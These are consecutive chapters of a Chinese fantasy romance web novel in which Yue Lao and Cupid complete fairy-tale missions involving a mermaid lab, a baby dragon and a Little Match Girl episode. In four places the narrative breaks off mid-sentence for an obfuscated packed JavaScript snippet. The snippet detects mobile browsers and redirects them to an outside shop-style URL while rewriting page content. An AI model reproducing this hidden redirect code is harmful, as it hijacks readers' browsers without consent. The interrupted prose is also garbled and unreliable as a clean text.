好家伙,他难道一整晚都在外面等着? 但他昨晚明明看到安布洛斯已经将他的红线掐断了,怎么他还是念念不忘的? “波特莱特先生,”厄尔尼诺爆发出撕心裂肺的哭喊,“杜丽她、她是自愿的!” “自愿的?”安布洛斯嗤笑,“你作为海蓝研究所的研究员,你还记得研究所的宗旨吗?自己背一遍。” 这真的很符合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944593|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西方神明的风格,是一种有些中二的强权主义。 “以生物意愿为基础,为生物种群做贡献。”厄尔尼诺喉头一梗,“但那是她自己和……那人做了交换。” 哦?这是一个关键点! 柯乐赤脚下床,躲在墙根听得更仔细些。 安布洛斯问道:“那人是谁?” “那是您建立西洋海关前的事了,”厄尔尼诺说,“那时候远洋有传教士,是个女人,披着黑头巾,似乎头上冒着两个斩断了的角,是她在杜丽变成泡沫时……” 说到此处厄尔尼诺停顿片刻,补充道:“我们那时已经是和平分手的。” “1号试管里的液体是那个传教士给的,是吗?”安布洛斯俯身看着涕泗横流的下属,“然后你把杜丽抓回来,将她封在生态柜里。” “那都是为了人类!”厄尔尼诺突然激动反驳,“她的尾巴上长出了外骨骼,那能造福多少人?” 安布洛斯沉默,没有再次指责,摇头道:“我不再追究,回去后好好将杜丽埋葬,然后销毁所有和1号试管有关的资料。” 厄尔尼诺抡起拳头在墙上用力砸去,张了张嘴,没再反驳。 他起身前,往柯乐藏身的方向望了一眼,“波特莱特所长,你也并不是很光彩的人,我们都是一样的。” “不,我们不一样。”安布洛斯沉声,非常自然地用手指卷着金发,“我有颜有权,还有人道。” 柯乐的心脏狂跳。 厄尔尼诺方才那一眼,好像透过墙壁在观察他。 脚步声远去,安布洛斯重新关上门,徐步往暗室里走,“听完了吗,小偷。” 柯乐在千钧一发之际把自己裹回了被子里,只露出一个圆润的脚趾头在外晃荡。 安布洛斯将一个包装精致的甜甜圈扔给他。 他下意识接住,发现甜甜圈上的白巧克力都粘在了包装袋上,顿时食欲降了一个档次。 他努了努嘴,啊呜一口,“这是爱丽丝梦游仙境里的甜甜圈?所以每一个副本之间都是能够互通的?” “你竟然吃得出来,真是神奇。”安布洛斯像在陈述一个事实那样平淡,“可能吧,不想追究那么多。” 爱丽丝副本里的人物是通过药师,哦不,准确的是通过塔罗来联系的。 塔罗联系宇宙,传递未来和过去。 那如果这样的话,是不是可以实现每一个世界的交汇? 那如果将每一个副本内世界的特产做成小吃…… 咳咳,Stop。 “所以杜丽真的死了?”柯乐有些惋惜。 “是的,没有童话里的结局,她就是死了。”安布洛斯指了指他的嘴角,“你得去洗把脸。” 切,还嫌弃他? “自己有那么整洁吗?” 屋内没有洗漱的地方,柯乐碎碎念着穿上安布洛斯的裤子,忍着酸痛出门左拐,进了洗手间。 他想起昨天那只海豹在玩水龙头,不禁也拨弄了两下。 好像不那么好玩,那只海豹看起来智商实在不太高。 然而就在他要低头洗脸时,他的背包突然一阵剧烈的震动! 系统的声音骤然响起: 【是否使用[金币]?】 23. 【-7%】(系统未更新,莫慌) 系统问他要不要使用金币? 他什么时候有过金币的? “可以用,能买什么吗?” 【好的,使用许愿金币。】 哦那个许愿金币,女巫给的……女巫?!那个坑爹玩意! 当啷。 金币在洗手台上哐哐一顿滚,然后噗通进了洗手池,恰巧竖着卡在下水道的管口。 柯乐:“So?” * 半小时后,安布洛斯迟迟没等到柯乐回来,到洗手间寻他。 一推开洗手间的门,安布洛斯鲜少地愣在原地。 洗手池边撑着一个身材曼妙的女人——应该说是人鱼,肚脐以下的墨绿色鱼尾足足有两米长,安布洛斯打开门时将鱼尾往后拨去,触动了人鱼。 人鱼缓慢地抬头,然后撑着洗手池,支起身。 一头橙红色的头发披散而下,蓝色的眼睛似有水光流动,波光粼粼。 然而人鱼一开口,声线却是男生带着青涩的嗓音,“愣着干嘛,过来帮忙啊大哥!” 安布洛斯的脸色顿时冷了几分,“柯乐,你怎么变成这副鬼样子。” “什么鬼样子,我现在是人鱼美女杜丽。” 就在半小时前,许愿金币卡在了洗手台管口。 系统在经历了CPU燃烧之后,给出了判定。 【许愿金币没有正反面,发生[卡bug]现象。】 【缝隙打开中……】 【已为您联系到许愿金币的赠予者。】 女巫皱巴巴的脸赫然出现在他面前。 “小伙子,又见面了,如你先前猜测的,这里就是塔罗预测点,我是您的塔罗预测官。”女巫突然嘿嘿地笑,“不过你太倒霉了,抛个金币都能卡在管口。如果许愿金币是正面,你可以获得[武器],反面的话,你可以选择[答案]。” 柯乐:“So?” “你什么都没获得,并且必须继承前一次抛掷硬币的人的意愿。”女巫从洗手池里掏出金币,在衣袍上擦干,“这里是人鱼杜丽的留言。” 柯乐警惕道:“我的表妹杜丽?你会这么好心?” “那我肯定不是慈善家。”女巫嘿嘿笑,“她向我推荐了你,她最美丽善良的表哥莫罗斯。” 柯乐深感自己被摆了一道,不可置信地指着自己,“我?” “杜丽说,她的表哥莫罗斯是海里最优秀的侦查家,是这个世界上听力最好的,但她也说了,”女巫瘪嘴,整张老脸上的皮肤松松垮垮堆下,“莫罗斯是海里最狡猾的家伙,让我想办法伪装,当然她也留了一样物品给你,你现在也拿到了。” “什么东西?” “那块魔法镜片。” 所以女巫从一开始就是虚晃一枪,后面的假河神才是真.枪实.弹。 他的表妹杜丽和女巫交换的根本就不是什么声音,而是她表哥莫罗斯的到来! 柯乐没好气地说:“杜丽的意愿是什么?” “让波特莱特所长放了所里所有用来非法实验的海洋生物。” “那她不直接说让蓝海研究所倒闭,不就行了?”柯乐扯了扯嘴角,“搞这么麻烦。” “那不一样,你也看到杜丽在海蓝研究所生态柜里的模样了,”女巫说,“非法实验一般都是用很残忍的手段获得成果的,就连我这样的人都看不下去。” 柯乐思忖,“她找你是在骨质增生前还是后?” “后。”女巫果断道,“她的病变是使用1号试管中的液体导致的。” 她估计猜到了他下一句要问什么,直接接下去,“她确实是想去和厄尔尼诺相处,所以厄尔尼诺叫她做什么,她一概都答应,说到底,厄尔尼诺确实是渣男,但她部分的私心也是为了自己。” 柯乐想了想,有些犹豫,“好吧,那我试图去说服波特莱特。” 【柯乐先生,您触发支线任务[代替杜丽说服所长波特莱特]。】 他还没想好怎么样做呢,丘比特就进来了。 并且看起来是在嘲笑他这副男不男女不女的身体和脸。 并且他这可怜的人鱼尾巴,被安布洛斯推门时一夹,此刻尾根疼了个半死。 他本想继续埋怨这成事不足败事有余的西方神明,但下一刻安布洛斯将他扛了起来放在肩上,他又闷哼一声,“唔。” 靠!压到海狗了! 安布洛斯将他扛在肩上,在门口转了一圈,又回到了那间情.趣房间。 安布洛斯盯着他,摇头,“这样出去会引起骚.动。” “简单点,安布洛斯。”柯乐翘着腿,脚底板摇晃着,他觉得自己说得很有道理,游刃有余,“你列一张清单出来,就你那研究所所有没有报备的生物,特别是亚特兰蒂斯海域的。” 安布洛斯挑眉,“你觉得可能吗?” “怎么不可能?”柯乐有些生气,“你作为西方神明,拯救苍生是你的任务。” “你这是道德绑架,可爱的东方月老。”安布洛斯勾唇,“而且西方不像你们那边,说什么苍生,我们职责分明,至于我,是负责爱情板块。” “条件。”柯乐开门见山。 “海蓝游乐园要开张了,门口需要三尊人鱼雕像,我需要模板。”安布洛斯也开门见山。 柯乐低头看了自己的鱼尾:……这把冲他来的。 “你一个研究所所长去开游乐园?”柯乐嫌弃,“谁教你这么敛财的。” “如果我没猜错的话,东方月老,”安布洛斯戳了戳他肚脐以下的鳞片,看着他硕大繁重的尾巴往上抬了抬,“你应该也是有外力加持吧。” 哦?他还没问安布洛斯呢,这就被他先问了? 那这样岂不是让安布洛斯占了上风! “西方丘比特。”柯乐用笃定的口吻仰视他,“让我猜猜,你的任务是什么?” 是什么是什么?死脑快动动啊,是什么? 安布洛斯在爱丽丝梦游仙境副本,发布了招聘令;在海的女儿副本,又创立了西洋海关,然后还要建一个游乐园…… 哦~~~知道了。 柯乐也是唇角扬起,“娱乐至死。” “什么?”安布洛斯好似听不清,“再重复一遍。” “你的任务是给每一个世界的人带来欢乐,”柯乐啧啧两声,“我看过太多的欧美电影,这种套路我见多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944594|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你们天堂还是一如既往地套路化。” 柯乐也是一个能够理解人的月老,“没事,也就当帮你这个忙,毕竟你也帮过我,说吧,你要怎么把我表妹这美丽的形象刻画成雕像?” 他指着面无表情的安布洛斯,此人看起来心里有不少的小九九,“但我警告你啊,我可没办法让你折腾去倒模。” 安布洛斯沉默片刻,突然笑出声。 这声音低沉爽朗,好像不是冷笑,是……开怀地笑? 西方神明微微弓着腰,金发随着他的动作颤动,越发显得他唇红齿白。 可这张帅脸落到柯乐眼里,却是纯恶魔。 柯乐往后挪了一点,鱼尾啪一下甩到床板靠背,“笑什么?” “不需要倒模,我可以让雕刻师过来,”安布洛斯轻咳一声,“他不会也不可能将人鱼的信息传递出去,可以放心。” “好吧,但是我现在的样貌只是杜丽一个人,你需要三座雕像,每一座都是杜丽吗?” “我不要杜丽,我要你的脸。”安布洛斯看起来真的经过深思熟虑的,“男人鱼……雄性人鱼或许比雌性人鱼更加有反差感。” 柯乐趿拉着拖鞋冲进洗手间,反锁门朝门外大喊:“……那这个就得和我的外部力量商量一下了!” “系统,能不能和女巫商量一下,换成我自己的脸?” 【您的许愿金币已经用光,没有办法召唤女巫。】 “这样啊,但是我有……系统,拿出我那把破伤风斧头!” 他用了上次的手法,又模拟了一次斧头掉落。 白光闪过,柯乐被拖入异世界。 河神悠悠地浮出水面,还是那个熟悉的白胡子老头。 白胡子老头打了个哈欠,“惯犯了啊小子,以后如果再这样我就不赴约了。” 柯乐盯着他看了一会,笃定道:“前辈,我们没有见过吧。” 河神的哈欠中断,“小子,你说什么呢。” “请把女巫叫出来,上次您让她代替您,这次她去哪里了?”柯乐将食指竖起,“上次她的指根被我绑了红线,虽然没找到能和老巫婆结缘的,但红线还在。” 河神顿了顿,哈哈大笑,“是个机灵的小子,但你也知道,上次那是你那系统安排的。那老妖婆是属于海域的,我这是河,我一个河神,怎么能叫到海里的呢? “当然可以。”柯乐眺望远处,河水汤汤,忽地裂嘴笑,“毕竟这里还出现过海狗不是么?这里是河海交界,有一就有二,麻烦前辈帮个忙。” 河神:“……好吧小子,我去打申请。” 片刻后,河神突然又嘿嘿笑出声来,尖锐的声音让柯乐一度发毛。 这看起来太像人格分裂了。 女巫笑道:“怎么,你找我……” 女巫的声音戛然而止。 就在上一秒,一把刀刃锋利的斧头就那样架上了她皱巴巴的脖颈。 柯乐一脸帅气,将斧头往上推了推:“给我换脸。” 虚空中似乎传来河神老头的怒吼:“好小子,你用我的斧头都做了什么?!!天庭审核员,你们是瞎了吗,这这这种暴力成分能过审?!” 24. 【28%】(平安夜,小情侣,甜!) 昏暗的房间内,安布洛斯满意地摸着柯乐的头发…… 上的耳朵。 是的,就当柯乐制住女巫后,女巫颤颤巍巍地给她换了张脸。 “月老大人,已经换完了。“女巫说,“您可以照照镜子,看看满不满意呢。” 柯乐握着斧头的手还是有点微微颤抖的。 这破伤风之刃怎么这么重啊? 他强装镇定,一边稳住斧头,一边从背包里掏出一块镜子的边角料。 镜片照出了他的模样—— 他的褐色头发恰巧遮住了眉,脸颊红扑扑的,嘴唇也是偏红,皮肤比他原先的要白上一些,或许是最近没怎么熬夜加班的原因。 而镜片的角度往上一转,突然就照出了一双毛茸茸的…… 黑色圆润的耳朵?! “喂女巫!” 他刚气愤地吼了一声,手中的斧头一颤,女巫趁机脱身。 一个转身,女巫一双人字拖将他踢出了异空间。 他直接一摔,被安布洛斯稳稳接住,鱼尾自然地缠上了西方神明的腰。 “嗯,换回来了,还多了点别的。”安布洛斯揉了揉他的耳朵,“好像一只小黑熊。” “你的雕刻师呢?”柯乐将尾巴蜷起,“赶紧的,我想赶紧溜出这个副本,受不了了。” “吼吼吼!美人鱼~”一个白发美男刷一下开门,“波特莱特所长,您真的把活的美人鱼搞到手了!” “安尼奥。”安布洛斯介绍,“西洋海关在排查时,看到他在鬼鬼祟祟躲在船尾雕刻。” “欧尊敬的所长,这真的是黑历史,别再提了。”安尼奥将图纸直接铺开,“这里就剩补充人物立体绘图了,先生您就这样躺着……欧不,你的服装不够吸引人,这是什么单品?” 安尼奥直接上手,揪住他胸前的布条,轻轻一弹,“太丑了,还有别的服装吗,童话一点点的。” “没有了……” 就在此时,安尼奥从折叠的被子里拉出两件衣服。 【怎么没有,柯乐先生,您太小瞧小可了,小可不允许您受到他人的歧视!】 【您是最棒的。】 系统你!!!!服了,真服了!这是什么光彩的事情吗?? “换上这件吧。”安尼奥将那套女仆装递给他,“这件好像就是为您量身定做的一样。” 柯乐扭扭捏捏地换上,然后捂着裙子,两个熊耳朵一动一动的。 安布洛斯稍稍偏头,“安尼奥,给他修饰一点,那个裙子别太过分,毕竟是要放在游乐园入口的。” 安尼奥:“好的先生!柯乐先生,您这边摆一下叉腰的动作……” 不知不觉,柯乐在这个房间已经待了整整两天。 安尼奥让他摆各种动作,一摆就是大半个钟头才能稍微动动。 从酒店被安布洛斯抱出来时,已经是晚上十点了。 高强度的工作让柯乐觉得腰酸背痛,特别是鱼尾的部分,因为长时间的弯曲,鳞片微微炸开,整条鱼尾不住轻颤。 他虚弱地问:“安布洛斯,能把亚特兰蒂斯海域的生物归还了吗?” 安布洛斯将他抱进车后座,拎起他的尾巴,轻柔地蜷起。 他的尾巴太长太大了,硬戳戳地怼进了前座。 哎……这一般是脊椎曲线变直了…… 但是不对啊,这是安布洛斯吗?他的死对头有这么温柔的? 他抻着手往座椅上靠,尾巴直接就往刚坐进驾驶座上的安布洛斯脸上扫去。 啪—— 一时间,空气仿佛凝固,柯乐僵在原地。 柯乐是个讲道理的月老,是他的错就会承认,“安布洛斯,这真不是故意的,但确实打脸是我的错。” 安布洛斯叹了口气,拎起扫在颈侧的扇尾,轻柔拨开,“多动症。” 车子安稳地行驶在马路上,安布洛斯回答柯乐方才的问题,“你说的生物归还,这是历史遗留问题了。没有西洋海关要求报备之前,研究所里的生物大多都是研究员从黑.市里淘买的,已经和正规渠道的混杂在一起,很难分开了。” “就比如杜丽那样的?” “是的,杜丽是因为厄尔尼诺好面子,所以公开了他和杜丽的情史。” 柯乐将尾巴往后抻了抻,“之前那些研究员都那么拼的吗?还要从黑.市买卖。” “直到前任所长推任前都还是这样,他们有任务。每月必须完成多少只的稀有生物淘买,然后根据淘买的生物数量和稀有程度计算绩效。” 蛙趣……可恶的KPI,怎么到了哪个地方、哪个区域都有啊! 柯乐虽然明白这种做法是畸形的,或许会让研究员对那些生物做出不可逆转的伤害,但他还是狠狠地共情那些研究员。 打工人本身没有多大的错,错的是那些恶心的领导者。 柯乐长叹一声,“我想想,那就反着来。” 安布洛斯的声音一同落下,“比如厄尔尼诺前几天带回来的一只松木章鱼,很稀有,还会看别人偷.情。” 柯乐:…… 他没好气地说:“那你发他绩效了吗?波特莱特所长。” “那当然没有。”安布洛斯嗤笑,“那只章鱼被我弹回了生态柜里,但还是爬了出来,不知道去了哪里。或许现在已经在所里哪个角落变成章鱼干了。” 柯乐:…… 他将尾巴狠狠扇去。 这回是故意的了。 “没礼貌的家伙,开车很危险的。”安布洛斯说。 哦,好吧。 “你刚刚说什么反着来?”安布洛斯说。 “如果说,前期的海蓝研究所可以通过绩效捆绑员工,那么我们也可以通过另一种手段让他们自愿列出非法买卖的那部分清单。” 安布洛斯语气上扬,哦了一声。 柯乐得到一定的鼓舞,说得更加起劲,“说到底,海蓝研究所也是个上市企业了,那用股份反捆绑就好了……就得看你,波特莱特所长,肯不肯让利了。” “让利?你的角色扮演得真的很不错。”安布洛斯将车停进车库,打开后座的车门,将柯乐人鱼重新抱了出来,“你真重,抱得我腰疼。” “我重?腰疼?”柯乐打了个哈欠,“中医管这叫肾.虚。” 安布洛斯一把揪住他的黑耳朵,用力摇了摇。 车内播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944595|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报滴滴报时。 就在这时,系统的声音如约响起。 【十二点整,小可为您播报目前对家攻略进度。】 【所长波特莱特觉得您幽默又可爱,并且对他的工作有很大的帮助。】 【您目前的攻略进度为:28%。】 【这是质的飞跃啊柯乐先生,可喜可贺!】 质的飞跃!!!他不仅不负数了,而且还达到了二开头的数字,并且很快就要奔三去了!! 安布洛斯高大的身形顿了顿,低头看着紧紧搅着他腰的鱼尾,“你怎么突然……” 人逢喜事精神爽,柯乐的困虫一扫而空,猛然双手捧住安布洛斯的脸颊,傻傻地笑,“现在看你,都觉得有点帅了。” 人鱼因为被抱着,所以比西方神明高出了半个头。 风似乎也在为他感到欢喜,吹来时树叶沙沙作响,鱼尾像蛇一样缠绕在西方神明的下.半身,灯影在人与人鱼间晃动,照得鱼尾好像也在晃动。 安布洛斯罕见地抿唇,微微偏头,睫毛颤动后垂下眼帘,将情绪隐藏在深邃眼眸中。 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 【桑格利凡的蛋获得n瓶营养液的浇灌,疯狂成长。】 咔嚓咔嚓—— “柯乐。”安布洛斯单手握住东方月老的手腕,“你有没有听到什么声音?” * 一周后。 海蓝游乐园开业,人声鼎沸。 一个小男孩牵着母亲的手,停在门口的雕像前,哇哇大喊:“妈妈,那是那天晚上踢走我球的那个人!” 三座雕像都是柯乐,穿着保守女仆装的柯乐、穿着旗袍的柯乐,还有人鱼柯乐。 “妈妈,人真的能够变成人鱼,人鱼又能变成人吗?”小男孩问。 “这个或许你可以问你的叔叔波特莱特,”男孩母亲回答,“他是海蓝研究所的所长,他们研究这个问题很久了。不过他最近在整理档案,应该没空。” “好吧妈妈……”男孩越过母亲望去,“但,那不是波特莱特叔叔吗?” 安布洛斯举着手机正和柯乐视频通话。 柯乐一条人鱼巨尾实在不适合出门,但他又实在害怕安尼奥把他雕刻得太露.骨,毁了小朋友的童年,于是勒令安布洛斯一定要拍给他看。 “行吧,这些带人鱼元素的都还可以,”柯乐指挥道,“你转过去,走到门口,照我的雕像给我看看。” 安布洛斯将镜头转向雕像,瞬间听到柯乐在屏幕那头的惊呼:“靠!安布洛斯,这么二次元的吗?!” 安布洛斯嘴角上扬,屏幕那头一时无声。 咔嚓咔嚓——吭哧吭哧—— 安布洛斯听到屏幕那头一声稚嫩的: “啾咪?吼——” 一只紫红色的爪子贴上了屏幕,接着一截黑色的角探了出来,一个粉粉的鼻头在屏幕上嗅了嗅。 柯乐的手指戳了戳这只破壳而出的小龙,然后一把将牠薅起,只听牠吭哧吭哧喷气后,回头对着他怯生生地嗷呜了一声。 柯乐:“……这东西应该不会和鸡一样,把第一眼看到的人认做妈吧。” 25. 家园里 柯乐再次回到了家园。 他看着摇篮里的小龙,伸着脖子嗅着柯乐正做着的饭。 【柯乐先生坎坷地征服了渣男,顺利完成主任务,获得成就:终极海王。】 【本副本中,您有许多高光时刻封存在[任务大厅-刷本记录]里。】 “嗷呜——”小龙突然叫了一声。 柯乐回头给它喂了口板筋胡萝卜闷饭,然后用勺子刮干净牠嘴角的饭粒。 “造孽啊,我年纪轻轻,无痛当妈。” 【这是桑格利凡的恩赐。】 【牠现在是您的爱宠,您可以给牠取一个名字。】 【桑格利凡的小儿子:_______】 “这恩赐怎么不给安布洛斯呢?”柯乐对着小龙嘬了两声,哄小孩似的,“吃。” 小龙咕啾一声。 “那我就叫你……厄洛斯哈哈哈哈哈哈哈,乍一听还以为俄罗斯呢。”柯乐莫名戳中了笑点,“丘比特一听会不会气死?” 【桑格利凡的小儿子:_厄洛斯_】 “饿——” 他的肚子突然传出这样一声,他整个人被吓得从椅子上弹跳起来,“什么东西?” 他的下腹突然瘪下去一块,像泄气的皮球,让他瞬间想起克苏鲁电影里那些恐怖桥段。 “饿——” 肚子里又咕叽一下,他仔细去听,才发现那是某种动物的悲鸣呜咽。 动物……那只海狗!! “系统,赶紧的,把那只海狗放出来还给它主人!” 【好的,这就为您从背包里去出海狗。】 一只褐黑色的瘦瘪海狗扑腾在地,看到那锅烩饭,直接一脚蹼踢开厄洛斯,吭哧吭哧舔碗底! 厄洛斯吸了吸粉色的鼻子,然后扭头眼中带泪地看着柯乐。 牠破壳时就少了一只角,看起来也是楚楚可怜。 牠看着抢了自己饭碗的海狗,酝酿两下,呼地喷出一团火球! 一根桃心箭从窗外破空而来,哐铛射穿了小龙的角! 小龙晕乎乎倒地,被海狗的爪蹼一戳又活了过来。 小龙看着海狗:“咕啾咪?” 柯乐:……这个场景实在是似曾相识。 他怒火中烧,望向窗外时,果然看到安布洛斯半蹲在窗沿上,正将弓收起。 “安布洛斯!”柯乐大喊,“你对我的龙做了什么?你射穿了它、的、角!” “它要是喷火了,你的任务就泡汤了,不是么?”安布洛斯拿起手帕在弦上擦了擦,“我在帮你,柯乐。” 说得好有道理……等等,这里不是家园吗? 系统? 【是的,每一个参与本次天堂和天庭联合活动的神,都在家园里有自己的落脚点。】 这还是个小区?别说还有业主管理群吧。 【有的,您也在群聊[相亲相爱一家人]中,群主是玉皇大帝,需要为您打开看看吗?】 等等吧,先把这丘比特解决了再说。 “安布洛斯,你怎么找到我这里来的,你的那间定制房在哪边?” 安布洛斯手中的箭调转了方向,柯乐顺着他的方向趴到窗边往外眺望,就见隔着通道的另一侧,也有一栋和本栋楼布局一样的楼。 “东方神职在这栋,西方神职在那栋。”安布洛斯告诫他,“这里都比较挤,刚刚喷火那种危险系数很高,一点都没有防火安全意识。像普罗米修斯那样的,都已经被严令禁止随意使用火种了。” “好吧,是我不对。”柯乐突然被上了一场安全课程,好学生一样干站着,忽然小龙吧唧舔了一口海狗的须须。 柯乐顿时有种白菜被猪拱了的感觉,他迅速将两只拉开,言辞喝止道:“你们两个在干什么?厄洛斯,你还那么小,你为什么可以早恋呢?!” “你叫牠什么?”安布洛斯的声音冷冷的,西方神明从窗沿跳下,闪现在他身后。 柯乐支支吾吾说不出话。 这都已经有拉踩人家祖宗的意味了。 “俄罗斯,”柯乐嘿嘿笑,“俄罗斯,你知道的,我们东方叫那个国家俄罗斯。” 安布洛斯挑了挑眉,看起来不予追究。 柯乐松了口气。 安布洛斯说:“过一阵你们的玉皇大帝要宴请,你知道的吧?他迁就西方,让西方这边的神职报几个菜谱,我报了铁板章鱼。” 柯乐:“……”有点冒犯,但安布洛斯应该不知道那只章鱼是他的呀? “大概什么时候?”柯乐问。 “下个副本结束就差不多了。”安布洛斯蹲下,揉了揉厄洛斯的龙头,“你准备一下,这个副本听说难度高点。” 柯乐趁机问道:“所以你的副本主线任务是什么?” “我为什么要和你说?”安布洛斯勾唇,“你也没和我说清楚你的。我回去了,下个副本见。” 柯乐目送安布洛斯打开他的大门,然后大摇大摆痞帅痞帅地沿着通道往另一栋楼去。 一转头,看见两只动物……在互舔脸。 柯乐:My eyes,die。 【柯乐先生,现在为您结算本次副本预测点。】 【您领取的任务[找到海狗]已经完成,现在将海狗通过天庭天堂链接传输到原主人家园中。】 【恭喜您,获得14个预测点。】 【您在[海的儿子]副本中并没有找到塔罗预测点(找到了,但无法正确抛掷硬币),没有消耗预测点。】 【完成支线任务[代替杜丽说服所长波特莱特],获得预测点2点。】 什么?他出卖了色.相,才获得2点预测点,不合理吧! 【小可之前有解释过的,完成支线任务获得的预测点是随机的。】 【现有预测点:19点,距离一次塔罗测算还差1预测点。】 “行吧,赶紧把这只海狗送走。”柯乐嫌弃地看了一眼旁边的动物,“然后我睡一觉,开启下一次的副本吧。” 【好的,这次的副本是由[本代二郎神]开启的,本次您和[二郎神]组队成灵方,和[丘比特]与[阿波罗]组成的义方形成对抗关系。】 【此次副本为大型多人组队副本,获胜一方可获得[胜利之火]标识,扬名立万。】 哦?对抗路?但为什么是灵方和义方,加起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944596|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来叫“灵异”,是真难听……等等,灵……义? 柯乐:……系统我有被内涵到。 【没有的,小可是正规系统,一切解释权归天庭和天堂所有。】 算了,和一个系统置什么气。 本代二郎神?是谁来着,好像没听过…… 突然他的肩头被什么东西戳了戳,一道软软糯糯的声音从身后传来,“那个,那个,乐乐,我,是我……” 这熟悉的声音让柯乐一顿,回头时差点被一柄长枪戳到喉咙。 面前的人乌黑的头发稍稍盖住微微倒吊着的大眼,面部轮廓柔和细腻,握着长枪的手手腕比普通男人要细一些,但却是稳稳当当的拿住了这柄三尖两刃枪。 “杨鸣岐?”柯乐后退一步,“你居然是当代二郎神?” 他当然认得这个怯生生的年轻人,毕竟他的头发还是他强行给剪的,至少将厚重的刘海剪薄了。 “我我我不是故意、故意瞒、瞒着的……”杨鸣岐越说越小声,“但是我我很早就知道乐乐你、你是月、月老了。” “你紧张的时候就结巴的毛病真是太严重了,”柯乐叹气,“你什么时候知道的?” “你、你在床上拿红、红线练过……溜溜球。” 啊?这都被发现了? 杨鸣岐作为柯乐的大学宿友,和柯乐的万人迷性质不同,平时总是独来独往,性格也是公认的孤僻。 柯乐有时会帮助这个社恐的小朋友,但有时也是真看不下去,正如他看不惯他那一直盖住眼睛的刘海。 他直接操.刀把杨鸣岐的头发咔嚓剪薄,直到露出这双大眼,显得杨鸣岐更加软绵绵的,“你当自己是杀马特吗?” “这次是你把我叫来一起打本的?”柯乐将长枪往一旁轻轻拨去,“朋友,我说,你社恐也不能用这铁块打招呼啊,你这就沦落和扑克士兵一样了。” “爱丽丝那个副本吗?”杨鸣岐将长枪贴在身侧,“我、我、我最后……被、被巨龙吃、吃了……是泽、泽菲尔把我捞出、出来的。” “泽菲尔是你的对家?” “是的,他是西方阿波罗。” “这会不结巴了,感觉你挺喜欢你这对头,”柯乐笑笑,“阿波罗,具有超强洞察力的太阳神。他和你那第三只透视眼倒是有一定的关系,但也不算东西方特别互斥的岗位,你应该不是攻略对家,可能是被大帝拉来相亲的。” “没、没有的事。”杨鸣岐将那双眼睛露出,巴巴地看着他,让他心头软软的,“他和、和我们是、是对抗关系。” 【小可提醒两位,本次二位共用小可一个攻略系统,这样方便计算,也方便二位沟通哦。】 【副本:[卖火柴的小女孩]已经开启。】 【基纳王国有一个卖火柴的小女孩,她在寒冬中瑟瑟发抖,可火柴始终滞销。】 不出所料的话……按照系统的尿.性,他应该就是那个寒冬里被冻得瑟瑟发抖的卖火柴的小女孩吧。 【请二位帮助小女孩卖出她的全部火柴,完成小女孩的愿望。】 嗯?不出所料的话,这回竟然出意外了?最爱性转的系统,XP竟然正常了? 26. 【28%】 基纳王国这个冬天格外的冷。 飘雪积了厚厚一层,马车轱辘转得飞快,蹄印很快被白雪覆盖。 千家万户的暖炉烧得通红,噼里啪啦响。 这种天气,大家都躲进自己的家中准备暖呼呼的晚餐驱赶冬夜寒冷。 城墙根小镇中,一家烤鸭店的卷帘门却迟迟没有落下。 柯乐裹紧了自己的大衣,呼出的气息都结成了霜,小龙厄洛斯站在他的肩头,企图用吐火来烤热他。 结果他就面临着冰火两重天的境地,摁住了厄洛斯的头,“谢谢,不用了。” 和他一样瑟缩的还有他的好宿友,杨鸣岐。 “杨鸣岐,”他打了个寒颤,仿佛说话都已经耗尽了气力,“我怀疑系统在搞我们。我怎么感觉我来到了南极?” 杨鸣岐不紧张时一点也不结巴,但还是缩着,成了一个团子,“这是突出作者的思乡之情。” 柯乐:……冻傻了。 【本副本开局就送你们一间烤鸭店,让你们吃好喝好,感谢你们为[任务大厅-刷本记录]所做的贡献。】 “别说这些有的没的恭维话,系统你绝对没这么好心。”柯乐看透了这个垃圾系统,“直接说吧,任务。” 【好的,那小可就不兜弯子了。】 